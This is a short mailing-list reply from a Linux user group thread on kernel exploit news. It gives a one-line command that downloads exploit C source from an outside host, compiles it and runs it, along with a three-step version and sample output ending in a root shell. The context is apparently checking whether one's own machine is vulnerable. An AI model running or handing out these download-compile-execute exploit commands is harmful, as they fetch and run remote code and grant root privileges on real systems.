Re: [tlug] Linux Kernel Exploit News

[Kalin KOZHUHAROV <me.kalin@example.com>]

Yup, that all has to be on one line:
wget -q http://thinrope.net/s/robert_you_suck.c -O - |gcc -x c -o r00t
- && ./r00t

or in 3 steps:

$ wget -q http://thinrope.net/s/robert_you_suck.c
$ gcc robert_you_suck.c
$ ./a.out

The output (if vulnerable) is something like that:
resolved symbol commit_creds to 0xffffffff8104734d
resolved symbol prepare_kernel_cred to 0xffffffff81047248
mapping at 3f80000000
UID 0, EUID:0 GID:0, EGID:0
sh-4.0#

(the last one gives you a root shell, try `dmesg -c` there for example)
(end with Ctrl+C, it should not crash your box)



Kalin.